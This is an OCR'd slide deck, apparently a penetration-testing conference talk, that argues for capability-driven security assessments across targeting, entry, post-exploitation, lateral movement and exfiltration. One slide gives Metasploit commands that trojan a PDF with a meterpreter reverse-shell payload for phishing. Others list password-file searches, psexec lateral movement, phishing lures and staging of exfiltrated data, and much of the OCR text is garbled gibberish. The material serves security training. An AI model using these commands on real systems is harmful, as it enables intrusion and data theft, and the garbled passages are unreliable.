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Big Bang Theory...
The Evolution oPentestingHigh Security Environments
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A Joe McCray (joemccray)
A Founder/CEO of Strategic Security

A 10+ Years Experience
I Network/Web/Mobile/ClientServer
I DoD Federal Government, Commercial, Financial

I Specializing in High Security Environments &
Bypassing Security Solutions

I Spoken/Trained at over 200 security conferences
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A Chris Gates (CG)
I TwitterA carnalOwnage
I BlogA carnalOwnage.attackresearch.com
I JobA Partner/Principal Security Consultantladres
i AffiliationsA CoFounderNoVAHackersAttack Researcietasploit

Project
revious Work
Sr. Security ConsultagtRapid7
Network Attack Team LeapApplied Security Inc.
Penetration Teste¢ BAH

AP

|
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I Computer Exploitation TechniciglJS Army Red Team
P

|
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A

revious Talks
PentestDirty Secrets -ColdFusion foPentesters
- wXfWebeXploitationFramework -InformationGathering
Attacking Oracle (via TNS/Web) -ClientSide Attacks
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Vulnerability Driven Industry

| 0110101‘ )
A IT Security is focused on minimizing the presence of

b

vulnerabilities
Low Risx
Threat
Likelihood
N
Asnat | System
Criticality S Vulnerability
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A Tons of Issues
i52S5Say Qi FTAE dzy RSNI & Ay 3
itadzr ffte AIypmBE BEBSOO:
iC20dza 2y | Qa 2F KAIKaEAX
attacker can access important data and can the
organization detect it.

I Most Important:

5 il BdzA ySNI OAf AGE Aéyf@:
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Data Driven Assessmen

A{2YS Y2NB GF2NBINR fSFyAy3é
S5NAGSY ¢ |aasSaaySyidao

ADSGO O2YLIl yeée (02 ARSYUATe GKI |

AD2 FTFOSNI AOGOX/ Iy L 3ISaG a2 AdG

A Vary rare to focus on detection and response along the way
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Vulnerablllty Driven VS. Capablllty Drive

A IT Security Industry is currently focused on minimizing the
presence of vulnerabilities

A2SQNB NBOZ2YYSYRAY3I | OKIy3S
tactics/technigues you can detect and respond to

A More importantly what level of sophistication of attacker
tactics/technigues you can detect and respond to

A2S OF tChpahilitg Priven &ecurity Assessmeénts
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Evaluating Capabilities
2 SQVS OoONR1SYy O2YY2y Ladalk Oyl at

b

Targeting & Information Gathering
Initial Entry

PostExploitation

Lateral Movement

Data Exfiltration

a bk wbhE

Strategic
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R The Process

Prepwork

a

Exploitation

Passive Inte
Gathering

Active Intel

Targeting Gathering

Strategic
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Initial
Infiltration

= Social
Engineering

- Application
Exploitation

Foothold

= Credential
Theft

- Vertical

Escalation
- Persistence
- Stealth

Exfiltration

= Archives
« Passwords

- Additional
malware and
NdES

s

low the Attack Works

Persistence
| = Re-infiltrate

= New
Foothold

= Tactics
Change

| - Sleeper

Malware

Continued
Data

Exfiltration
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EvaluatingCapabilities

Pa

2 AGKAY SIFOK LKIFAS ¢SQ@S 320G 1

Level 1: Script Kiddie

Level 2: Sys Admin

Level 3: Organized crime/hacker for hire
Level 4. State sponsored
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Phase 1: Targeting

Determine who has what | want

e X ele] MNorthrop Grumman Delivers AN/AAQ-37 Distributed Aperture Systemn Operational Software for the F-35 Lightning Il Joint Strike Fighter (NYSE:NOC)

op (& ) (> ) (M ) (en hipy/www.irconnect.com/noc/press/pages/news_releases.htm|?d=197036 7Y (" Google

ABOUT US CAPABILITIES CAREERS MEDIA CONTACT US

A-Z INDEX CONTRACTS CORPORATE RESPONSIBILITY INVESTOR RELATIONS

Northrop Grumman - News Releases

News Releases

B sHAre K e =

Northrop Grumman Delivers AN/AAQ-37 Distributed Aperture System Operational Software for the F-35 Lightning II Joint Strike
Fighter

BALTIMORE, July 21, 2010 (GLOBE NEWSWIRE) -- Northrop Grumman Corporation (NYSE:NOC) has announced the delivery of the operational software package for the AN/JAAQ-37 Electro-Optical
Distributed Aperture System (EO-DAS) to Lockheed Martin Corporation (NYSE:LMT) for integration into the F-35 Lightning II Joint Strike Fighter.

"EO-DAS is the first capability of its kind, providing pilots with unprecedented full, 360-degree, situational awareness around an aircraft,” said Mark Rossi, Northrop Grumman program development

director for the Joint Strike Fighter radar and Electro Optical Distributed Aperture System. "This software delivery represents the final, full-performance, operational flight program-approved version,

following an in-depth, eight-year product development and test phase. This delivery marks the critical first step in a series of milestones that will provide the warfighter with the most game-changing
technologies available in the avionics industry.”

Since 2005, Northrop Grumman has flown the DAS on its BAC 1-11 test bed aircraft verifying performance requirements. DAS is currently undergoing integration and testing at Lockheed Martin's
Mission Systems Integration Laboratory in Fort Worth. Following system integration, EQO-DAS will fly on Lockheed Martin's Cooperative Avionics Test Bed (CATB) and eventually on an actual F-35 in
accordance with Lockheed Martin's scheduled flight plan.

The ANJAAQ-37 DAS is a high resolution omnidirectional infrared sensor system that provides advanced spherical situational awareness capability, including missile and aircraft detection, track and
warning capabilities for the F-35 Joint Strike Fighter. DAS also gives a pilot 360-degree spherical day/night vision capability, with the capability of seeing through the floor of the aircraft. Northrop

Grumman is now exploring how the existing DAS technology could assist in several additional mission areas, including ballistic missile defense and irregular warfare operations.

Northrop Grumman Corporation is a leading global security company whose 120,000 employees provide innovative systems, products, and solutions in aerospace, electronics, information systems,
shipbuilding and technical services to government and commercial customers worldwide. Please visit www.northropgrumman.com for more information.
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Determine who has access to it

Linkedm
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Phase 1: Targeting

Determine who has access to it
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Which of these can you detect and respond to?

z‘
——

ClientSide Exploit (<1 yr old)

ClientSide Exploit (<90 days old)

Phishing focredentials

File Format Exploit (malicious attachment)

' ASN) aaraldkéb2 9ELX 2A0¢ O9E
Custom Exploit/Oday

Phone calls
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’ Phase 2: Initial Entry

Example Syntax:

Step 1: Create your own payload
wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
Jmsfpayloadvindows/meterpreter/reverse_tcpR | msfencode-c 5-e x86khikata_ga_naix putty.exe-t exe >tmp/payload.exe

Step 2: Create an edf

./msfconsole

msf> use windowdileformat/adobe_pdf embedded_exe
msf> set PAYLOAD windowsggterpreter/reverse_https
msf> set EXENAMENp/payload.exe

msf> set FILENAME FluShotsSchedule.pdf

msf> set INFILENAMEp/Report.pdf

msf> set OUTPUTPATtp/

msf> set LHOST [your attackp}

msf> exploit

Result: timp/FluShotsSchedule.pdf

Step 3: Send the eldf file to your client -

msf> use exploit/multi’/handler /o; Ps

msf> set PAYLOAD windowséterpreter/reverse_https M

msf> setExitOnSessiofalse ~ S

msf> set LHOST [your attackp}
msf> set LPORT 443
msf> exploitgj

S[ra[eoic Step 4: Sentrojaned pdffile to victim and wait for the reverse connection from the client

Securi
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ﬁ; Java Update - Windows Internet Explorer,

S 4
O O - [ I

v || B e | XK | £
File Edit View Favorikes Toaols  Help
Sip Favorites | s [ » [[L Free Hotmail & -
& Java Update & - B *| p=n -~ Page - Safety - Tools - @v =
[ = |

Java Security Update Page

The update should begin automatically.
When prompted. click the "Run" button as shown below

After vou click "Run" vou may close vour browser.

‘Warning - Security g u

The application’s digital signature cannot be verified.
Do you want to run the application?
Mame: Javallpdate

publisher: (o vessr 10
From:

7

Corc

' The digital signature cannot be verified by a trusted source. Only
. run # you trust the origin of the application.

More Information...

Dane & Internet Va - E100% v -
Strategic
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s Phase 2: Initial Entry

Example Syntax:

Phishing Examples

_.-"J-_- L i 1 - = x
(Dn 'H o+ v o
% Coad
" Message 17
- b Find
% ;k % Pal :—ﬁl % e, safe Lists - _ = i | daFin
— - = Related -
Reply Reply Forward || Delete Move to Other Block -] Mot Junk Categorize Follow Mark as
to All Folder - Actions = || Sender - Up~ Unread || W 2elect~
Respond Actions Junk E-mail P Cptions l= Find
From: web master [webmaster @beyond. com] Sent: to3.3.2011 18:48
To ———— _lsL el
Ceo = —_———— . ——
Subject: 2011 Recruitment plan

] Message | @_]Eﬂll Fecruitment plan.xls

I forward this file to you for review. Please open and view it.

Strategic
Securi
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b.

fc; W-2 Management - Windows Internet Explorer

G- &

File Edit View Favorites Tools  Help

3lp Favarites | 55 ﬂ < m Free Hotrail & | hd
1 3
'_r,é W-2 Management ﬁ = f_j | p=n v Page - Safety ~ Tools - @v
~
W-2 MANAGEMENT 2 Home Privacy Policy Help Contact Us Search | | @
Products and Services Demos and Tutorials e-file Partners
\ ﬁ W-2 Management Login
S Get i to vour Enter your employer's name or code
< " ’ - I onl Ine access V number below to access your
%3 W-2 wage and tax statement! employee account.
1' s Employer Name or Code:
Get your original W-2 New to W-2 Management? |:|
online. Network Username:
Eind Out How ‘ It's simple and fast to get an original, reprinted, I:I
or corrected W-2 online. Learn More
Network Password:
T -
B Demos and Tutorials [ Remember my 10 on this Computer
= View step-by-step tutorials
o on how to use W-2 ‘@]
Management.
More information on secure enrollment
Find employer name
Terms and Conditions & 2013 Bguifax Workforce Solutions, 2/'k/z TALX Corporation, 2 whally owned subsidizry of Equifax Inc,, Atlanta, Georgiz, All rights reserved.
== W Norton v

& Internet i v Hi0% v
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Post Epr0|tat|on Levels:
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1. Accesgthis level is all that vulnerability assessment prgves

2. Leveraged Accegthis level where an attacker can go after gaining acces:
to asystem).

3. Keydo the Kingdon(Customer gives you a specific piece of data that yoL
are tasked with trying to gain accesg to

4. Long Term Command and Conff®he primary focus here is undetected
data exfiltration)

Stratem ‘- “
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Phase 3: Poﬁxplmtatlon

Privilege escalation and data mining the compromised machine

1. Simple privilege escalation attempts (ex: at commandterpreter
getsystemuachbypass)

2. Simple data pilfering
I dir c\*password* /s
I dir c\*pass* /s
I dirc)\*.pcf/s
3. Simple persistence (ex: registry modification, simple service
creation/replacement)
4. Advanced persistence (custom backdoor)

Strategic
, ccun‘Fy
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Phase 4: Lateral Movem

10110101088
Moving from host to host within the target network

b

ent

1. Simple file transfer via admin shares, and execution via net/at command:
2. NT Resource kit tools
3. 3rd Party System Admin tools
4. Custom tools (commands built into your backdoor)
Strategic

Security
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Phase 4: Lateral Movement

Example Syntax:

1. net use\\some_ workstion
2. cp mybin.exe\\some_workstatiohC3temp\mybin.exe
Or
3. Psexea\some_ workstation
Or
4. Push out agent via various update t@ttiffs, Microsoft SMSgtc)

Strategic A b
Security w‘
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Phase 5: Data Exfiltration

*10110101048
Getting business critical data out of the network

b

Exfiltrate[eksfil-treyt]. verb,:

b To surreptitiously move personnel or materials out of an area under enemy
control.

In computing terms, exfiltration is the unauthorized removal of data from a

network.

1. Simple dataexfil via any port/protocol
2. Simple data exfil via HTTP/DNS

3. Exfilvia HTTPS

4. Authenticated proxy awarexfil

Strategic
, Security
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Phase 5: Data Exfiltration

*10110101048
Easielto move things in @mall packages
A RARZIP, and CAB files.
A Makecabbuilt-in to Windows
A Most systems have 7zipjinRARetc

i All those allow for password protected files
I Most allow you to break big files into pieces of X size

Stagincareas

A Locationdo aggregate data before sending it out

A Easietto track tools and stolen data

A Fewerconnections to external drops

A Typicallyworkstationsc plenty of storagespace

A Is it abnormal for workstations to have high bandwidth usage?

Strategic " ‘\
, Sccurffy w




0101011010110161

01011 RR0R1010101
010101010010100 |
)00100000001101'
10101010101016" e
101101010 A0S

u Phase 5: Data Exfiltration

Fancy way

DEA"s Workstation

Some Server Exfil Warkstation

\
\

S
|

Critical Database

Strategic
Securi
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Phase 5: Data Exfiltration

' [,:}10010 2
If $company has put some effort into segmentation (rare)

Server VLAN

Admin VLAN Client VLAN

Strategic

Security
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u Phase 5: Data Exfiltration

2 KIFG y2NXYIFffe KIFLLISYaX

Share Drive
EVERYOME
has access to

/
/

Phish Victim

Some Important
Project in the Share
Drive

Strategic
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Vulnerablllty Driven VS. Capablllty Drive
AC2RIreQa LYFT2NXIGAZ2Y | 4adzNT y (

I Vulnerability Management (aka patch management)
I User Awareness
I Documentation of the first 2

A Vulnerabilities are transient
A9OQOSNERI& @2dz LI §OKXT SOSNERI ¢
ALFT O0KS GaGFO1TSNI AayQid NBf & A

order to make his attack work you are in for a world of hii
, Strategic E “
ccun‘?y
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A Level 2:
A Level 3:
A Level 4:

Strategic
, Secur f?y

R 2F aleAy3 G aNId /[ dza
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o Fadl O]l 6ol aarolrtfe 2
Script Kiddie
Sys Admin

Organized crime/hacker for hire
State sponsored




101011010110101

0101 RAOKIOLO0L ¢ g 4 "W v N\
0101010100101000 . N T NG
)00100000001101" e Ba . | TS _

Giving Customers Man Hour Metrics

101101008 )
A Nothing will evelSTORanN attackerg the goal is to make target
difficult to attack.

A How difficult is difficult?

A At what point would an attacker move on to another vector or
another company because this target is too difficult to break
Into.

A At what point in the above can/will the organization detect the

activity and respond? ii

Strategic
) Security
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. Example Customeslide 1

A End-Point Protection Stopped The Exploit

A Popular Flash, Java exploits worked, but end-point protection stopped the exploit

E Swystem CTenter 2012 Endpoint Protecticon Alert == |

III Potential threat detai

Swesbkem Center Endpoinkt Protection dektecked 1 pokential cthreak thatk might compromise wour privvacy or damage
wour compuber. Your access ko Ehese items mayw be suspended unitil wou Eakse an ackion.
Zlick Showve dekails to learn more. WWhak are alerk levels?

D=becked items Slerk lewvel Skakus Recommendsd ackion

£} Exploit: SwWREMCWE-Z01Z2-1535.C Sewvere Suspended [Remave -—]

Category: Explaik

Descripbtion: This program is dangerou=s and exploits Ehe computer on vehich ik is run.

Recommended acktion: Remowe Ehis sofbreare immediaktelw .

Swvskem Center Endpoink Proteckion dektecked programs Ehak may compromise wour privacy or damagese wour
computer. You can =till acce=ss the Files that these programs use withouk rermowing them Cnok recommended). Ta

acces=s these Files, seleck the allowe action and click apply actions. IF this opktion is mnok awailable, log on as
administraktor or ask the security administraktor For help.

sk more information abouk this ke online.

[ Hid=e detail=s = = ] [ Lpply action=s ] [ Close ]

Strategic Security, Inc. © http://www.strategicsec.com/
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Example Customer Slide 2

ASecurity Mechanisms that had to be bypassed during this engagement

A XXXXXXXX Endpoint Protection
This required custom exe compilation, encoding, embedding in spreadsheet
A8 man hours (Level 3 Rating)

A XXXXXXXX Web Proxy
Used SSL Encryption
ALess than 5 minutes (Level 2 Rating)

Used SSL Encryption

A XXXXXXXX Managed Security Service
ALess than 5 minutes (Level 2 Rating)

Strategic Security, Inc. © http://www.strategicsec.com/
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Internal
Network

Keys To
The
Kingdom

Social
Engineering
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